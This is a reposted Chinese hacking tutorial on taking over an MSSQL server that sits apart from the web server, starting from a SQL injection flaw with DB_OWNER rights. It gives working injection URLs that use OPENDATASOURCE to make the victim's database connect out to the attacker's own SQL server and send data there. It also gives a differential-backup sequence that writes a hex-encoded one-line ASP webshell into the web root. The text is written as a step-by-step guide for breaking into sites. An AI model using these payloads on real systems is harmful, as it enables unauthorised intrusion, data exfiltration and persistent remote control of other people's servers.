网站地图    收藏   

主页 > 后端 > 网站安全 >

DB_OWNER权限下网站与数据库分离获取mssql服务器

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 现在注入横飞.工具一大堆,过去手工注入的时代已经不复存在.代之的是NBSI HDSI 啊D注入工具..等等.也是广大菜鸟的最爱了.即使什么也不会.什么也不懂.只需要点几下鼠标.存在注入漏洞的...

现在注入横飞.工具一大堆,过去手工注入的时代已经不复存在.代之的是NBSI HDSI 啊D注入工具..等等.也是广大菜鸟的最爱了.即使什么也不会.什么也不懂.只需要点几下鼠标.存在注入漏洞的网站密码就出来了.接下来就是扫扫后台.传传马.就完了.就这样简单.碰到SA权限的话就直接建立号开3389或者上传WEBSHELL.是内网就映射.是DB_OWNER权限的话呢就考虑用备份差异.但是WEB和数据库不在同一台服务器该怎么搞呢?
 
 
 
 其实也不一定是搞不定.除了往注册表启动键值写DOS命令,让目标服务器下会开机执行,不过也是有局限性的.该用户必须授权于Master这个库.才可调用储存过程.很少有管理员会这样做.所以希望很渺小.如果我们遇到这种情况的话该如何搞呢?
 
 看图1
 
 
 DB权限.列下目录看看数据是否跟WEB在一块.要是在一块可考虑备份差异.不过很可惜.找来找去都没有找到WEB目录.
 
 如图2
 
 
 

 
 
 
 
 
 这是利用MSSQL的XP_dirtree储存过程读取路径.然后写入临时表的结果.以前的NBSI没这功能.小菜门只好扫扫SA啊.弄弄后台之类的.后来NBSI增加了treelist的功能.可列出目录,更为方便查看目录结构.软件信息等等.
 
 
 
 后来臭要饭的开发了Getwebshell才使这功能毕生光芒,把马插到数据库里,然后把数据库备份为ASP文件.行是可行.但是数据库要是过大的话.几十M的WEBSHELL你说能用吗?Xiaolu的备份差异还算不错了.
 减少文件大小.进行差异备份.不过还是回到原来一点.数据和WEB不在一块的.
 
 
 
 其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.
 都会装个IIS吧?列他C盘.看看有没有Inetpub这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?
 
 
 
 可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.
 
 
 
 1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的SQL与自己的数据库建立连接.
 
 既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.
 
 
 
 第一.你机器必须要有公网IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧.
 
 我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀
 
 怎么搞哦.简单.2cto.com 就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
 
 create database hack520 Create TABLE zhu(name nvarchar(256) null);Create TABLE J8(id int NULL,name nvarchar(256) null); 
 
 
 点执行.
 
 图3
 
 
 


 
 
 建立了一个hack520的库名.和zhu  J8两个表.zhu里面有name这一个字段.J8也放了两字段名.
 一个是id一个是name.好了.现在就可以开始建立连接了.
 
 先看一下这条SQL语句insert into opendatasource(’sqloledb’,’server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名’) .库名.表名 ’执行的语句’
 恩现在开始吧...
 
 http://www.2cto.com /news.asp?id=126’insert%20into%20opendatasource(’sqloledb’,’server= 
 219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520’). 
 hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases-- 
 
 
 
 在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下~
 
 图4
 
 
 
 哈哈已经连过来了.现在数据库服务器IP知道了.而且数据库服务器又开了80.现在干什么呢?
 
 bak一个webshell上去吧.已知WEB目录C:\Inetpub\wwwroot.好.开始
 
 http://www.2cto.com /news.asp?id=126;use tg800;declare @a sysname,@s varchar(4000) 
 select @a=db_name(),@s=0x737339323238 backup database @a to disk=@s-- 备份当前库 
 
 
 
 http://www.2cto.com /news.asp?id=126;Drop table [hack520];create table [dbo].[hack520] ([cmd] [image])-- 
 
 
 
 http://www.2cto.com /news.asp?id=126;insert into hack520(cmd) 
 values(0x3C2565786563757465207265717565737428226C2229253E)-- 插入蓝屏木马 
 
 
 
 http://www.2cto.com /news.asp?id=126;declare @a sysname,@s varchar(4000) 
 select @a=db_name(),@s=0x433A5C496E65747075625C777777726F6F745C7A68752E617370 
 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 再次以差异备份得到WEBSHELL 
 
 
 
 http://211.111.xxx.xxx/zhu.asp接下来就是用蓝屏木马客户端连接咯.这个就简单了.我这里就不多说了.虽然没有拿到WEB服务器的SHELL.但是至少也不是空手而归.拿到了数据库服务器的SHELL.
 
 
 
 以上的思路不错,希望大家遇见类似情况的时候可以拿下,但是这个还是有一定的局限性的.关键在于SQL反向连接,如果对方设有防火墙或者是TCP/IP筛选的话,就不那么乐观了.
 
摘自 臭袜子 blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论